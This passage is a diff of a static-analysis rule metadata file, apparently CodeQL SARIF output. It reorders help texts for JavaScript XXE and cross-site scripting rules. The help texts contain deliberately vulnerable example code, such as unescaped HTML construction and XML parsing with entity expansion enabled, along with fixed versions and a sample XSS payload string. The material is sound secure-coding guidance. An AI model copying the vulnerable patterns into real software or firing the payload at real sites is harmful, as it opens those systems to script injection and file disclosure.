+            "text" : "Parsing user input as an XML document with external entity expansion is vulnerable to XXE attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // BAD: `fileName` can contain HTML elements\n            list += '<li>' + fileName + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs'),\n    escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // GOOD: escaped `fileName` can not contain HTML elements\n            list += '<li>' + escape(fileName) + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // BAD: `fileName` can contain HTML elements\n            list += '<li>' + fileName + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs'),\n    escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // GOOD: escaped `fileName` can not contain HTML elements\n            list += '<li>' + escape(fileName) + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&amp;` or `&gt;`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n",
+            "markdown" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&amp;` or `&gt;`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Using uncontrolled stored values in HTML allows for\n              a stored cross-site scripting vulnerability.",
-            "id" : "js/stored-xss",
+            "tags" : [ "security", "external/cwe/cwe-611", "external/cwe/cwe-827" ],
+            "description" : "Parsing user input as an XML document with external\n              entity expansion is vulnerable to XXE attacks.",
+            "id" : "js/xxe",
             "kind" : "path-problem",
-            "name" : "Stored cross-site scripting",
+            "name" : "XML external entity expansion",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "7.8"
+            "security-severity" : "9.1"
           }
         }, {
           "id" : "js/reflected-xss",
@@ -1976,33 +1912,6 @@
             "problem.severity" : "warning",
             "security-severity" : "6.1"
           }
-        }, {
-          "id" : "js/html-constructed-from-input",
-          "name" : "js/html-constructed-from-input",
-          "shortDescription" : {
-            "text" : "Unsafe HTML constructed from library input"
-          },
-          "fullDescription" : {
-            "text" : "Using externally controlled strings to construct HTML might allow a malicious user to perform a cross-site scripting attack."
-          },
-          "defaultConfiguration" : {
-            "enabled" : true,
-            "level" : "error"
-          },
-          "help" : {
-            "text" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + name + \"</b>\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  const bold = document.createElement('b');\n  bold.innerText = name;\n  document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + striptags(name) + \"</b>\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + name + \"</b>\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  const bold = document.createElement('b');\n  bold.innerText = name;\n  document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + striptags(name) + \"</b>\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
-          },
-          "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Using externally controlled strings to construct HTML might allow a malicious\n              user to perform a cross-site scripting attack.",
-            "id" : "js/html-constructed-from-input",
-            "kind" : "path-problem",
-            "name" : "Unsafe HTML constructed from library input",
-            "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "6.1"
-          }
         }, {
           "id" : "js/unsafe-jquery-plugin",
           "name" : "js/unsafe-jquery-plugin",
@@ -2031,652 +1940,652 @@
             "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/xss-through-exception",
-          "name" : "js/xss-through-exception",
+          "id" : "js/stored-xss",
+          "name" : "js/stored-xss",
           "shortDescription" : {
-            "text" : "Exception text reinterpreted as HTML"
+            "text" : "Stored cross-site scripting"
           },
           "fullDescription" : {
-            "text" : "Reinterpreting text from an exception as HTML can lead to a cross-site scripting vulnerability."
+            "text" : "Using uncontrolled stored values in HTML allows for a stored cross-site scripting vulnerability."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    \n    try {\n        var parsed = unknownParseFunction(deflt); \n    } catch(e) {\n        document.write(\"Had an error: \" + e + \".\");\n    }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n    if (!ajv.validate('pollData', req.body)) {\n        res.send(ajv.errorsText());\n    }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'<img src=x onerror=alert(1)>': 'foo'}` will generate the error `data/<img src=x onerror=alert(1)> should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    \n    try {\n        var parsed = unknownParseFunction(deflt); \n    } catch(e) {\n        document.write(\"Had an error: \" + e + \".\");\n    }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n    if (!ajv.validate('pollData', req.body)) {\n        res.send(ajv.errorsText());\n    }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'<img src=x onerror=alert(1)>': 'foo'}` will generate the error `data/<img src=x onerror=alert(1)> should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // BAD: `fileName` can contain HTML elements\n            list += '<li>' + fileName + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs'),\n    escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // GOOD: escaped `fileName` can not contain HTML elements\n            list += '<li>' + escape(fileName) + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Stored cross-site scripting\nDirectly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk.\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // BAD: `fileName` can contain HTML elements\n            list += '<li>' + fileName + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\nSanitizing the file names prevents the vulnerability:\n\n\n```javascript\nvar express = require('express'),\n    fs = require('fs'),\n    escape = require('escape-html');\n\nexpress().get('/list-directory', function(req, res) {\n    fs.readdir('/public', function (error, fileNames) {\n        var list = '<ul>';\n        fileNames.forEach(fileName => {\n            // GOOD: escaped `fileName` can not contain HTML elements\n            list += '<li>' + escape(fileName) + '</li>';\n        });\n        list += '</ul>'\n        res.send(list);\n    });\n});\n\n```\n\n## References\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
             "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
-            "description" : "Reinterpreting text from an exception as HTML\n              can lead to a cross-site scripting vulnerability.",
-            "id" : "js/xss-through-exception",
+            "description" : "Using uncontrolled stored values in HTML allows for\n              a stored cross-site scripting vulnerability.",
+            "id" : "js/stored-xss",
             "kind" : "path-problem",
-            "name" : "Exception text reinterpreted as HTML",
+            "name" : "Stored cross-site scripting",
             "precision" : "high",
-            "problem.severity" : "warning",
-            "security-severity" : "6.1"
+            "problem.severity" : "error",
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/xxe",
-          "name" : "js/xxe",
+          "id" : "js/html-constructed-from-input",
+          "name" : "js/html-constructed-from-input",
           "shortDescription" : {
-            "text" : "XML external entity expansion"
+            "text" : "Unsafe HTML constructed from library input"
           },
           "fullDescription" : {
-            "text" : "Parsing user input as an XML document with external entity expansion is vulnerable to XXE attacks."
+            "text" : "Using externally controlled strings to construct HTML might allow a malicious user to perform a cross-site scripting attack."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&amp;` or `&gt;`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n",
-            "markdown" : "# XML external entity expansion\nParsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data.\n\n\n## Recommendation\nThe easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken.\n\n\n## Example\nThe following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`:\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc, { noent: true });\n});\n\n```\nTo guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&amp;` or `&gt;`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/4.17.15#unescape) or [he](https://github.com/mathiasbynens/he).\n\n\n```javascript\nconst app = require(\"express\")(),\n  libxml = require(\"libxmljs\");\n\napp.post(\"upload\", (req, res) => {\n  let xmlSrc = req.body,\n    doc = libxml.parseXml(xmlSrc);\n});\n\n```\n\n## References\n* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing).\n* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/).\n* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://www.slideshare.net/qqlan/bh-ready-v4).\n* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html).\n* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html).\n"
+            "text" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + name + \"</b>\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  const bold = document.createElement('b');\n  bold.innerText = name;\n  document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + striptags(name) + \"</b>\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of 